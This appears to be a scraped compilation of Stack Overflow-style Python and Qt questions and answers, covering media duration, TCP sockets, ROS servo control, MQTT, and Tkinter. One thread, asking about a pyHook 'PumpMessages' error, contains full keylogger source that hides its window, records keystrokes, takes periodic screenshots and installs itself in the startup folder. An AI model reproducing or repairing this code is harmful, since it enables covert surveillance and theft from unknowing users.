Qt wrong duration with variable bitrate - c++

QMediaPlayer calculates wrong duration with variable bitrate mp3. Yes, I know a similar topic was already opened, but is pretty old (2012). In addition, both VLC and Clementine, using Qt, for the same mp3 files can calculate the exact duration. So, I do not think it's a Qt bug.
I take the mp3 duration in this way:
void MainWindow::playerOnMediaStatusChanged(QMediaPlayer::MediaStatus status) {
if (status == QMediaPlayer::BufferedMedia) {
qint64 duration = player->duration(); //wrong
}
}
Can you help me?

QtMultiMedia::QMediaPlayer can not recognize variable bitrate mode.
It will give you wrong duration and wrong position.
You can patch QMediaPlayer to calculate the real position/duration.
Python/PySide2 example:
# Created by BaiJiFeiLong#gmail.com at 2022/2/22 21:39
import taglib
from IceSpringPathLib import Path
from PySide2 import QtMultimedia, QtCore
class PatchedMediaPlayer(QtMultimedia.QMediaPlayer):
durationChanged: QtCore.SignalInstance = QtCore.Signal(int)
positionChanged: QtCore.SignalInstance = QtCore.Signal(int)
def __init__(self):
super().__init__()
self._realDuration = 0
self._lastFakePosition = 0
self._bugRate = 0.0
super().durationChanged.connect(self._onSuperDurationChanged)
super().positionChanged.connect(self._onSuperPositionChanged)
def _onSuperDurationChanged(self, duration: int):
self._bugRate = duration / self._realDuration
self.durationChanged.emit(self._realDuration)
def _onSuperPositionChanged(self):
self.positionChanged.emit(self.position())
def setMedia(self, media: QtMultimedia.QMediaContent, stream: QtCore.QIODevice = None, realDuration=None) -> None:
self.blockSignals(True)
super().setMedia(media, stream)
self.blockSignals(False)
self._realDuration = realDuration
self._lastFakePosition = 0
self._bugRate = 0.0
if realDuration is None:
filename = media.canonicalUrl().toLocalFile()
file = taglib.File(filename)
bitrate = file.bitrate
file.close()
self._realDuration = Path(filename).stat().st_size * 8 // bitrate
def setPosition(self, position: int) -> None:
assert self._bugRate != 0 or position == 0
fakePosition = int(position * self._bugRate)
super().setPosition(int(position * self._bugRate))
self._lastFakePosition = fakePosition
def duration(self) -> int:
return self._realDuration
def position(self) -> int:
elapsed = super().position() - self._lastFakePosition
lastPosition = 0 if self._lastFakePosition == 0 else int(self._lastFakePosition / self._bugRate)
realPosition = lastPosition + elapsed
realPosition = max(realPosition, 0)
realPosition = min(realPosition, self._realDuration)
return realPosition
Requirement: pip install pytaglib==1.4.6, or any other library to fetch the real bitrate

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Determine which descriptor ID belongs to which client - QTcpSocket

I am creating an app where the server and clients run on the same machine, see picture.
I want the user to be able to send data from the server to a specific client (= specific window). For this, the user needs to know which ID belongs to which client (for example the corresponding ID could be displayed in each window's title).
Is it possible to get the corresponding descriptor ID on the client side? If not, how could I achieve the same result anyway?
I expect something like this as a result:
Here is an example code in pyside2 but I don't mind if the solution is using C++ qt.
QTCPServer:
import sys
from typing import List
from PySide2.QtCore import *
from PySide2.QtNetwork import *
from PySide2.QtWidgets import *
class MainWindow(QMainWindow):
new_message = Signal(bytes)
_connection_set: List[QTcpSocket] = []
def __init__(self):
super().__init__()
self.server = QTcpServer()
# layout
self.setWindowTitle("QTCPServer")
self._central_widget = QWidget()
self._main_layout = QVBoxLayout()
self.status_bar = QStatusBar()
self.text_browser_received_messages = QTextBrowser()
self._controller_layout = QHBoxLayout()
self.combobox_receiver = QComboBox()
self.lineEdit_message = QLineEdit()
self._controller_layout.addWidget(self.combobox_receiver)
self._controller_layout.addWidget(self.lineEdit_message)
self._buttons_layout = QHBoxLayout()
self.send_message_button = QPushButton("Send Message")
self.send_message_button.clicked.connect(self.send_message_button_clicked)
self._buttons_layout.addWidget(self.send_message_button)
# end layout
if self.server.listen(QHostAddress.Any, 8080):
self.new_message.connect(self.display_message)
self.server.newConnection.connect(self.new_connection)
self.status_bar.showMessage("Server is listening...")
else:
QMessageBox.critical(self, "QTCPServer", f"Unable to start the server: {self.server.errorString()}.")
self.server.close()
self.server.deleteLater()
sys.exit()
# set layout
self.setStatusBar(self.status_bar)
self.setCentralWidget(self._central_widget)
self._central_widget.setLayout(self._main_layout)
self._main_layout.addWidget(self.text_browser_received_messages)
self._main_layout.addLayout(self._controller_layout)
self._main_layout.addLayout(self._buttons_layout)
def new_connection(self) -> None:
while self.server.hasPendingConnections():
self.append_to_socket_list(self.server.nextPendingConnection())
def append_to_socket_list(self, socket: QTcpSocket):
self._connection_set.insert(len(self._connection_set), socket)
self.connect(socket, SIGNAL("readyRead()"), self.read_socket)
self.connect(socket, SIGNAL("disconnected()"), self.discard_socket)
self.combobox_receiver.addItem(str(socket.socketDescriptor()))
self.display_message(f"INFO :: Client with socket:{socket.socketDescriptor()} has just entered the room")
def read_socket(self):
socket: QTcpSocket = self.sender()
buffer = QByteArray()
socket_stream = QDataStream(socket)
socket_stream.setVersion(QDataStream.Qt_5_15)
socket_stream.startTransaction()
socket_stream >> buffer
if not socket_stream.commitTransaction():
message = f"{socket.socketDescriptor()} :: Waiting for more data to come.."
self.new_message.emit(message)
return
header = buffer.mid(0, 128)
file_type = header.split(",")[0].split(":")[1]
buffer = buffer.mid(128)
if file_type == "message":
message = f"{socket.socketDescriptor()} :: {str(buffer, 'utf-8')}"
self.new_message.emit(message)
def discard_socket(self):
socket: QTcpSocket = self.sender()
it = self._connection_set.index(socket)
if it != len(self._connection_set):
self.display_message(f"INFO :: A client has just left the room")
del self._connection_set[it]
socket.deleteLater()
self.refresh_combobox()
def send_message_button_clicked(self):
receiver = self.combobox_receiver.currentText()
if receiver == "Broadcast":
for socket in self._connection_set:
self.send_message(socket)
else:
for socket in self._connection_set:
if socket.socketDescriptor() == int(receiver):
self.send_message(socket)
return
self.lineEdit_message.clear()
def send_message(self, socket: QTcpSocket):
if not socket:
QMessageBox.critical(self, "QTCPServer", "Not connected")
return
if not socket.isOpen():
QMessageBox.critical(self, "QTCPServer", "Socket doesn't seem to be opened")
return
string = self.lineEdit_message.text()
socket_stream = QDataStream(socket)
socket_stream.setVersion(QDataStream.Qt_5_15)
header = QByteArray()
string_size = len(string.encode('utf-8'))
fstring = f"fileType:message,fileName:null,fileSize:{string_size}"
header.prepend(fstring.encode())
header.resize(128)
byte_array = QByteArray(string.encode())
byte_array.prepend(header)
socket_stream.setVersion(QDataStream.Qt_5_15)
socket_stream << byte_array
def display_message(self, string):
self.text_browser_received_messages.append(string)
def refresh_combobox(self):
self.combobox_receiver.clear()
self.combobox_receiver.addItem("Broadcast")
for socket in self._connection_set:
self.combobox_receiver.addItem(str(socket.socketDescriptor()))
if __name__ == '__main__':
app = QApplication(sys.argv)
w = MainWindow()
w.show()
sys.exit(app.exec_())
QTCPClient
import sys
from PySide2.QtCore import *
from PySide2.QtNetwork import *
from PySide2.QtWidgets import *
class MainWindow(QMainWindow):
new_message = Signal(bytes)
def __init__(self):
super().__init__()
self.socket = QTcpSocket(self)
# layout
self.setWindowTitle("QTCPClient")
self._central_widget = QWidget()
self._main_layout = QVBoxLayout()
self.status_bar = QStatusBar()
self.text_browser_received_messages = QTextBrowser()
self._controller_layout = QHBoxLayout()
self.lineEdit_message = QLineEdit()
self._controller_layout.addWidget(self.lineEdit_message)
self._buttons_layout = QHBoxLayout()
self.send_message_button = QPushButton("Send Message")
self.send_message_button.clicked.connect(self.on_send_message_button_clicked)
self._buttons_layout.addWidget(self.send_message_button)
# end layout
self.new_message.connect(self.display_message)
self.connect(self.socket, SIGNAL("readyRead()"), self.read_socket)
self.connect(self.socket, SIGNAL("disconnected()"), self.discard_socket)
# set layout
self.setStatusBar(self.status_bar)
self.setCentralWidget(self._central_widget)
self._central_widget.setLayout(self._main_layout)
self._main_layout.addWidget(self.text_browser_received_messages)
self._main_layout.addLayout(self._controller_layout)
self._main_layout.addLayout(self._buttons_layout)
self.socket.connectToHost(QHostAddress.LocalHost, 8080)
if self.socket.waitForConnected():
self.status_bar.showMessage("Connected to Server")
else:
QMessageBox.critical(self, "QTCPClient", f"The following error occurred: {self.socket.errorString()}.")
if self.socket.isOpen():
self.socket.close()
sys.exit()
def discard_socket(self):
self.socket.deleteLater()
self.socket = None
self.status_bar.showMessage("Disconnected!")
def read_socket(self):
buffer = QByteArray()
socket_stream = QDataStream(self.socket)
socket_stream.setVersion(QDataStream.Qt_5_15)
socket_stream.startTransaction()
socket_stream >> buffer
if not socket_stream.commitTransaction():
message = f"{self.socket.socketDescriptor()} :: Waiting for more data to come.."
self.new_message.emit(message)
return
header = buffer.mid(0, 128)
file_type = header.split(",")[0].split(":")[1]
buffer = buffer.mid(128)
if file_type == "message":
message = f"{self.socket.socketDescriptor()} :: {str(buffer, 'utf-8')}"
self.new_message.emit(message)
def on_send_message_button_clicked(self):
if not self.socket:
QMessageBox.critical(self, "QTCPServer", "Not connected")
return
if not self.socket.isOpen():
QMessageBox.critical(self, "QTCPServer", "Socket doesn't seem to be opened")
return
string = self.lineEdit_message.text()
socket_stream = QDataStream(self.socket)
socket_stream.setVersion(QDataStream.Qt_5_15)
header = QByteArray()
string_size = len(string.encode('utf-8'))
fstring = f"fileType:message,fileName:null,fileSize:{string_size}"
header.prepend(fstring.encode())
header.resize(128)
byte_array = QByteArray(string.encode())
byte_array.prepend(header)
socket_stream << byte_array
self.lineEdit_message.clear()
def display_message(self, string: str):
self.text_browser_received_messages.append(string)
if __name__ == '__main__':
app = QApplication(sys.argv)
w = MainWindow()
w.show()
sys.exit(app.exec_())
The socket descriptors are only valid for the constructor and they do not match on both sides.
One possibility is to automatically send a first "handshake" message to the client as soon as it's connected, the client will identify that message as a "descriptor id" type, and eventually set its window title.
In the following changes to your code, I'm using a simple fileType:descriptor header, and the descriptor id is actually sent as an integer value into the datastream. You can obviously use a string there, if you want to send any other value.
# server
def append_to_socket_list(self, socket: QTcpSocket):
# ...
descriptor = int(socket.socketDescriptor())
socket_stream = QDataStream(socket)
fstring = 'fileType:descriptor,fileName:null,fileSize:{},'.format(descriptor.bit_length())
header = QByteArray()
header.prepend(fstring.encode())
header.resize(128)
socket_stream << header
socket_stream.writeInt32(descriptor)
# client
def read_socket(self):
# ...
header = buffer.mid(0, 128)
fields = header.split(",")
file_type = fields[0].split(":")[1]
buffer = buffer.mid(128)
if file_type == "descriptor":
self.id = socket_stream.readInt32()
self.setWindowTitle("QTCPClient - id {}".format(self.id))
Some suggestions:
both signals have a bytes signature, but this is wrong as you're emitting those signals as str types; if you're not sure, you can use the basic object type;
the self.connect syntax is considered obsolete, use the "new" (well, not so new anymore) style one: object.signal.connect(slot); for instance:
self.socket.readyRead.connect(self.read_socket)
use QApplication.quit() instead of sys.exit(), so that the application properly does everything it needs before actually quitting the python interpreter;
instead of using the text value of the combo, you should use the user data:
descriptor = socket.socketDescriptor()
self.combobox_receiver.addItem(str(descriptor), descriptor)
then you can access it by using self.combobox_receiver.currentData() (you can add the "broadcast" item with a -1 value); you could even add the socket itself as user data;
to properly split the header without getting garbled results for the last field, you must add a final comma, otherwise split() will return the whole rest of the string;
Note for PyQt users: socketDescriptor() returns a sip.voidptr, to obtain the actual value use int(socket.socketDescriptor()).

How to make servo Dynamixel motor to move from 0 --> 90 --> 180 --> 220--->0 degrees

Hello software developers.
I am new in programming and ROS. I am working now with servo motors and want to make the controlling node to rotate motor into some degrees like from 0 --> 90--> 180-->0 degrees.
there is a main code and I would like to add def function into the main node:
#!/usr/bin/env python
import os
import rospy
from std_msgs.msg import String
from controller_motor.msg import Motor
from controller_motor.srv import Motor2
if os.name == 'nt':
import msvcrt
def getch():
return msvcrt.getch().decode()
else:
import sys, tty, termios
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
def getch():
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
return ch
from dynamixel_sdk import * # Uses Dynamixel SDK library
class DynamixelController(object):
def __init__(self):
#print("1")
self.motor_sub = rospy.Subscriber("/motor_topic", Motor, self.motor_callback)
self.test_motor_client(1) #here we can put request order as 1 for the using id=14 and position= 1500; or as 2 is id same and position is 2500. The cases could be found in the server.py node
def motor_callback(self, data):
_id = data.id
_position = data.position
print("_id : {0}, _position : {1}".format(_id, _position))
self.read_write(_id, _position)
def test_motor_client(self, request):
print("2")
rospy.wait_for_service('test_motor_service')
try:
proxy = rospy.ServiceProxy('test_motor_service', Motor2)
response = proxy(request)
print("response is id : {} position : {}".format(response.id, response.position))
self.read_write(response.id, response.position)
except rospy.ServiceException as e:
print("Service call failed: %s"%e)
def new_rotation(self, response):
print("3")
rospy.wait_for_service('test_mototr_rotation')
try:
proxy = rospy.ServiceProxy('test_motor_rotation', Motor2)
response = proxy(request)
self.read_write(response.id, response.position(arg[0]))
sleep(2)
self.read_write(response.id, response._position(arg[1]))
sleep(2)
self.read_write(response.id, response._position(arg[2]))
sleep(2)
except rospy.ServiceException as e:
print("Service call failed: %s"%e)
def read_write(self, _id, _position):
print("Start the node")
# Control table address
ADDR_PRO_TORQUE_ENABLE = 64 # Control table address is different in Dynamixel model
ADDR_PRO_GOAL_POSITION = 116
ADDR_PRO_PRESENT_POSITION = 132
# Protocol version
PROTOCOL_VERSION = 2.0 # See which protocol version is used in the Dynamixel
# Default setting
DXL_ID = _id # Dynamixel ID : 14
BAUDRATE = 1000000 # Dynamixel default baudrate : 1000000
DEVICENAME = '/dev/ttyUSB0' # Check which port is being used on your controller
# ex) Windows: "COM1" Linux: "/dev/ttyUSB0" Mac: "/dev/tty.usbserial-*"
TORQUE_ENABLE = 1 # Value for enabling the torque
TORQUE_DISABLE = 0 # Value for disabling the torque
DXL_MINIMUM_POSITION_VALUE = 10 # Dynamixel will rotate between this value
DXL_MAXIMUM_POSITION_VALUE = _position # The position here is already in the degree measurement; and this value (note that the Dynamixel would not move when the position value is out of movable range. Check e-manual about the range of the Dynamixel you use.)
DXL_MOVING_STATUS_THRESHOLD = 20 # Dynamixel moving status threshold
index = 0
dxl_goal_position = [DXL_MINIMUM_POSITION_VALUE, DXL_MAXIMUM_POSITION_VALUE] # Goal position
# Initialize PortHandler instance
# Set the port path
# Get methods and members of PortHandlerLinux or PortHandlerWindows
portHandler = PortHandler(DEVICENAME)
# Initialize PacketHandler instance
# Set the protocol version
# Get methods and members of Protocol1PacketHandler or Protocol2PacketHandler
packetHandler = PacketHandler(PROTOCOL_VERSION)
# Open port
if portHandler.openPort():
print("Succeeded to open the port")
else:
print("Failed to open the port")
print("Press any key to terminate...")
getch()
quit()
# Set port baudrate
if portHandler.setBaudRate(BAUDRATE):
print("Succeeded to change the baudrate")
else:
print("Failed to change the baudrate")
print("Press any key to terminate...")
getch()
quit()
# Enable Dynamixel Torque
dxl_comm_result, dxl_error = packetHandler.write1ByteTxRx(portHandler, DXL_ID, ADDR_PRO_TORQUE_ENABLE, TORQUE_ENABLE)
if dxl_comm_result != COMM_SUCCESS:
print("%s" % packetHandler.getTxRxResult(dxl_comm_result))
elif dxl_error != 0:
print("%s" % packetHandler.getRxPacketError(dxl_error))
else:
print("Dynamixel has been successfully connected")
while 1:
print("Press any key to continue! (or press ESC to quit!)")
if getch() == chr(0x1b):
break
# Write goal position
dxl_comm_result, dxl_error = packetHandler.write4ByteTxRx(portHandler, DXL_ID, ADDR_PRO_GOAL_POSITION, dxl_goal_position[index])
if dxl_comm_result != COMM_SUCCESS:
print("%s" % packetHandler.getTxRxResult(dxl_comm_result))
elif dxl_error != 0:
print("%s" % packetHandler.getRxPacketError(dxl_error))
while 1:
# Read present position
dxl_present_position, dxl_comm_result, dxl_error = packetHandler.read4ByteTxRx(portHandler, DXL_ID, ADDR_PRO_PRESENT_POSITION)
if dxl_comm_result != COMM_SUCCESS:
print("%s" % packetHandler.getTxRxResult(dxl_comm_result))
elif dxl_error != 0:
print("%s" % packetHandler.getRxPacketError(dxl_error))
print("[ID:%03d] GoalPos:%03d PresPos:%03d" % (DXL_ID, dxl_goal_position[index], dxl_present_position))
if not abs(dxl_goal_position[index] - dxl_present_position) > DXL_MOVING_STATUS_THRESHOLD:
break
# Change goal position
if index == 0:
index = 1
else:
index = 0
# Disable Dynamixel Torque
dxl_comm_result, dxl_error = packetHandler.write1ByteTxRx(portHandler, DXL_ID, ADDR_PRO_TORQUE_ENABLE, TORQUE_DISABLE)
if dxl_comm_result != COMM_SUCCESS:
print("%s" % packetHandler.getTxRxResult(dxl_comm_result))
elif dxl_error != 0:
print("%s" % packetHandler.getRxPacketError(dxl_error))
# Close port
portHandler.closePort()
if __name__ == '__main__':
rospy.init_node('read_write', anonymous=True)
controller = DynamixelController()
and here is the server node:
#!/usr/bin/env python
import rospy
from controller_motor.srv import Motor2, Motor2Response
def motor_info(req):
print("receive the request : {}".format(req.order))
if req.order == 1:
_id = 14
#_position = 1500
_positiondegree = 180 # change it degree value
_position = (11.4 * (_positiondegree)) # here is using there 11.4 the number which helps rotate the motor in the correct degree; We get the number encoder number/degree we want to rotate the motor.
elif req.order == 2:
_id = 14
#_position = 2047.5
_positiondegree = 180
_position = (11.4 * (_positiondegree))
print("Response to this request id : {} and postiion : {}".format(_id, _position))
return Motor2Response(_id, _position)
def motor_info_server():
rospy.init_node('test_motor_service')
s = rospy.Service('test_motor_service', Motor2, motor_info)
print("Ready to response some id and position")
# spin() simply keeps python from exiting until this node is stopped
rospy.spin()
if __name__ == '__main__':
motor_info_server()
Now when running the motor it rotates to the degree I would like it to rotate. And now I would like to know how could I give some degrees to make motor rotates from 0 to some other degrees and go back to the 0 degree position again.
I guess there might be applied the list and args for some degrees. But I am not well-known how I could do this :)
I would like to get some advice from professionals like you ,guys :)
I know my question could be obvious for professionals. I would like to get experience in the programming and ROS as much as I can :)
I will be so thankful for any help and advise how I could do this :)
Thank to everyone who will share his/her idea:)
I wish you have a good day :)
You have to add a new function to your code in the client file:
def rotate_bot(self,degree):
rospy.wait_for_service('rotate_motor')
try:
proxy = rospy.ServiceProxy('test_motor_rotation', Motor2)
response = proxy(degree)
except rospy.ServiceException as e:
print("Service call failed: %s"%e)
This function basically calls a Service and gives him the amount of degrees the robot has to turn. Also add this function to call the roate function:
def test_rotate(self):
rotate_bot(90)
rotate_bot(90)
rotate_bot(-180)
Now the robot turns from 0 --> 90 --> 180 --> 0
In your server file you have to add the service in the motor_info_server() method:
s = rospy.Service('test_motor_rotation', Motor2, rotate_motor)
and also add the method:
def rotate_motor(req):
print("received the request : {}".format(req.order))
degree = req.order
_id = 14
_positiondegree = degree
_position = (11.4 * (_positiondegree))
return Motor2Response(_id, _position)
If you want to pass doubles as degrees you have to change your message datatype from Motor2 to something else...

Unable to mqtt_client publish inside a class

I'm trying to use Paho MQTT Client and Multiprocessing to send temperature with defined interval. However, publish command is not working inside class. I've checked self.mqtt_client inside scheduler it has the Client object.
Is there anyone that can address problem for me?
Everything inside class is working except Scheduler.
def scheduler(self, topic, interval):
if interval != 0:
while True:
if topic == "temp":
print("Temperature published " + interval) #It's working.
self.mqtt_client.publish(topic, interval , 0 , False) #There is no error/output about this line
time.sleep(int(interval))
else:
pass
Class:
class Switcher:
config = None
mqtt_client = None
mqtt_connected = False
switches = {}
stages = {}
def __init__(self, config):
self.config = config
for switch_cfg in self.config['switches']:
self.switches[switch_cfg['topic_set']] = Switch(int(switch_cfg['gpio']), switch_cfg['topic_status'], switch_cfg['initial'])
def scheduler(self, topic, interval):
if interval != 0:
while True:
if topic == "temp":
print("Temperature published " + interval) #It's working.
self.mqtt_client.publish(topic, interval , 0 , False) #There is no error/output about this line
time.sleep(int(interval))
else:
pass
def mqtt_connect(self):
if self.mqtt_broker_reachable():
self.verbose('Connecting to ' + self.config['mqtt_host'] + ':' + self.config['mqtt_port'])
self.mqtt_client = mqtt.Client(self.config['mqtt_client_id'])
if 'mqtt_user' in self.config and 'mqtt_password' in self.config:
self.mqtt_client.username_pw_set(self.config['mqtt_user'], self.config['mqtt_password'])
self.mqtt_client.on_connect = self.mqtt_on_connect
self.mqtt_client.on_disconnect = self.mqtt_on_disconnect
self.mqtt_client.on_message = self.mqtt_on_message
try:
self.mqtt_client.connect(self.config['mqtt_host'], int(self.config['mqtt_port']), 10)
for switch_cfg in self.config['switches']:
self.mqtt_client.subscribe(switch_cfg['topic_set'], 0)
self.mqtt_client.loop_forever()
except:
self.error(traceback.format_exc())
self.mqtt_client = None
else:
self.error(self.config['mqtt_host'] + ':' + self.config['mqtt_port'] + ' not reachable!')
def mqtt_on_connect(self, mqtt_client, userdata, flags, rc):
self.mqtt_connected = True
for switch_ios in self.config['switches']:
self.mqtt_client.publish(self.config['station_status'], "available", 0, False)
self.mqtt_client.publish(switch_ios['topic_status'], self.switches[switch_ios['topic_set']].get_state(), 0, False)
temp_interval = 1
temp_process = multiprocessing.Process(target=self.scheduler, args=("temp",str(temp_interval),))
temp_process.start()
self.verbose('...mqtt_connected!')
def mqtt_broker_reachable(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.connect((self.config['mqtt_host'], int(self.config['mqtt_port'])))
s.close()
return True
except socket.error:
return False
def start(self):
self.mqtt_connect()
You mqtt_connect function will never return.
self.mqtt_client.loop_forever() Will block until self.mqtt_client.disconnect() is called.
You should probably be using self.mqtt_client.loop_start() which will run the client loop on it's own thread in the background. You can call self.mqtt_client.loop_stop() when you want to shut the client down.

Cannot find reference 'PumpMessages' in 'pythoncom.py'

I am trying to understand what is happening here. I get a warning that cannot find reference 'PumpMessages' in 'pythoncom.py' but pip says Requirement already satisfied: pyHook in c:\python27\lib\site-packages so I assume it is installed correctly.
Any help would be appreciated. I have searched google for several days to no avail. Code seems to start properly creating log file and screencap dir but no data is collected and it exits with code 1.
This is the code:
import pyHook
import pythoncom
from sys import argv
from datetime import *
import os
import threading
import pyscreenshot
import win32console
import win32gui
import winshell
root_dir = os.path.split(os.path.realpath(argv[0]))[0]
log_file = os.path.join(root_dir, "log_file.txt")
caps_dir = os.path.join(root_dir, "screencaps")
name = "keylog"
buffer = ""
pause_period = 2
last_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)
cap_period = 15
log_semaphore = threading.Semaphore()
def log(message):
if len(message) > 0:
log_semaphore.acquire()
with open(log_file, "a")as f:
f.write("{}:\t{}\n".format(datetime.now(), message))
# print "{}:\t{}".format(datetime.now(), message)
log_semaphore.release()
def keypress(event):
global buffer, last_press
if event.Ascii:
char = chr(event.Ascii)
if char == "~":
log(buffer)
log("---PROGRAM ENDED---")
os._exit(1)
pause = datetime.now() - last_press
if pause >= pause_delta:
log(buffer)
buffer = ""
if event.Ascii == 13:
buffer += "<ENTER>"
elif event.Ascii == 8:
buffer += "<BACKSPACE>"
elif event.Ascii == 9:
buffer += "<TAB>"
else:
buffer += char
last_press = datetime.now()
def screenshot():
if not os.path.exists(caps_dir):
os.makedirs(caps_dir)
filename = os.path.join(caps_dir, "screen_" + datetime.now().strftime("%Y_%m_%d_%H_%M_%S") + ".png")
pyscreenshot.grab_to_file(filename)
log("---Screenshot taken: saved to {}---".format(filename))
threading.Timer(cap_period, screenshot).start()
def startup():
if name + ".lnk" not in os.listdir(winshell.startup()):
log("---Adding shortcut to startup folder---")
link_loc = os.path.join(winshell.startup(), name + ".lnk")
sc = winshell.shortcut()
sc.path = os.path.realpath(argv[0])
sc.write(link_loc)
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)
hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
keylog = threading.Thread(target=pythoncom.PumpMessages())
log("---PROGRAM STARTED---")
startup()
screenshot()
keylog.start()

Using Python Tkinter .config() method

I am trying to use the Python Tkinter .config() method to update some message text. I can't get it to work. What might I be doing wrong (see the update_message method):
#!/usr/bin/python
import alsaaudio as aa
import audioop
import Tkinter as tk
import tkFont
import threading
import Queue
# styles
BACKROUND_COLOR = '#000000'
TYPEFACE = 'Unit-Bold'
FONT_SIZE = 50
TEXT_COLOR = '#777777'
TEXTBOX_WIDTH = 400
# text
TITLE = 'listen closely'
SCORE_MESSAGE = 'your score:\n '
END_MESSAGE = 'too loud!\ntry again'
# configuration
DEVICE = 'hw:1' # hardware sound card index
CHANNELS = 1
SAMPLE_RATE = 8000 # Hz // 44100
PERIOD = 256 # Frames // 256
FORMAT = aa.PCM_FORMAT_S8 # Sound format
NOISE_THRESHOLD = 3
class Display(object):
def __init__(self, parent, queue):
self.parent = parent
self.queue = queue
self._geom = '200x200+0+0'
parent.geometry("{0}x{1}+0+0".format(
parent.winfo_screenwidth(), parent.winfo_screenheight()))
parent.overrideredirect(1)
parent.title(TITLE)
parent.configure(background=BACKROUND_COLOR)
parent.displayFont = tkFont.Font(family=TYPEFACE, size=FONT_SIZE)
self.process_queue()
def process_queue(self):
try:
score = self.queue.get(0)
self.print_message(score)
except Queue.Empty:
pass
self.parent.after(100, self.update_queue)
def update_queue(self):
try:
score = self.queue.get(0)
self.update_message(score)
except Queue.Empty:
pass
self.parent.after(100, self.update_queue)
def print_message(self, messageString):
print 'message', messageString
displayString = SCORE_MESSAGE + str(messageString)
self.message = tk.Message(
self.parent, text=displayString, bg=BACKROUND_COLOR,
font=self.parent.displayFont, fg=TEXT_COLOR, width=TEXTBOX_WIDTH, justify="c")
self.message.place(relx=.5, rely=.5, anchor="c")
def update_message(self, messageString):
print 'message', messageString
displayString = SCORE_MESSAGE + str(messageString)
self.message.config(text=displayString)
def setup_audio(queue, stop_event):
data_in = aa.PCM(aa.PCM_CAPTURE, aa.PCM_NONBLOCK, 'hw:1')
data_in.setchannels(2)
data_in.setrate(44100)
data_in.setformat(aa.PCM_FORMAT_S16_LE)
data_in.setperiodsize(256)
while not stop_event.is_set():
# Read data from device
l, data = data_in.read()
if l:
# catch frame error
try:
max_vol = audioop.rms(data, 2)
scaled_vol = max_vol // 4680
print scaled_vol
if scaled_vol <= 3:
# Too quiet, ignore
continue
queue.put(scaled_vol)
except audioop.error, e:
if e.message != "not a whole number of frames":
raise e
def main():
root = tk.Tk()
queue = Queue.Queue()
window = Display(root, queue)
stop_event = threading.Event()
audio_thread = threading.Thread(target=setup_audio,
args=[queue, stop_event])
audio_thread.start()
try:
root.mainloop()
finally:
stop_event.set()
audio_thread.join()
pass
if __name__ == '__main__':
main()
I don't want to be laying down a new message every time I update. If the .config() doesn't work, is there another method to update the text configuration of the message?
I would use string variables, first create your string variable then set it to want you want it to display at the start next make your object and in text put the sting variable then when you want to change the text in the object change the string variable.
self.messaget = StringVar()
self.messaget.set("")
self.message = tk.Message(
self.parent, textvariable=self.messaget, bg=BACKROUND_COLOR,
font=self.parent.displayFont, fg=TEXT_COLOR,
width=TEXTBOX_WIDTH, justify="c").grid()
#note renember to palce the object after you have created it either using
#.grid(row = , column =) or .pack()
#note that it is textvariable instead of text if you put text instead it will run but
#but will show PY_Var instead of the value of the variable
edit
to change the text without recreating the object you do the name of the string variable you have used and .set
self.messaget.set("hi")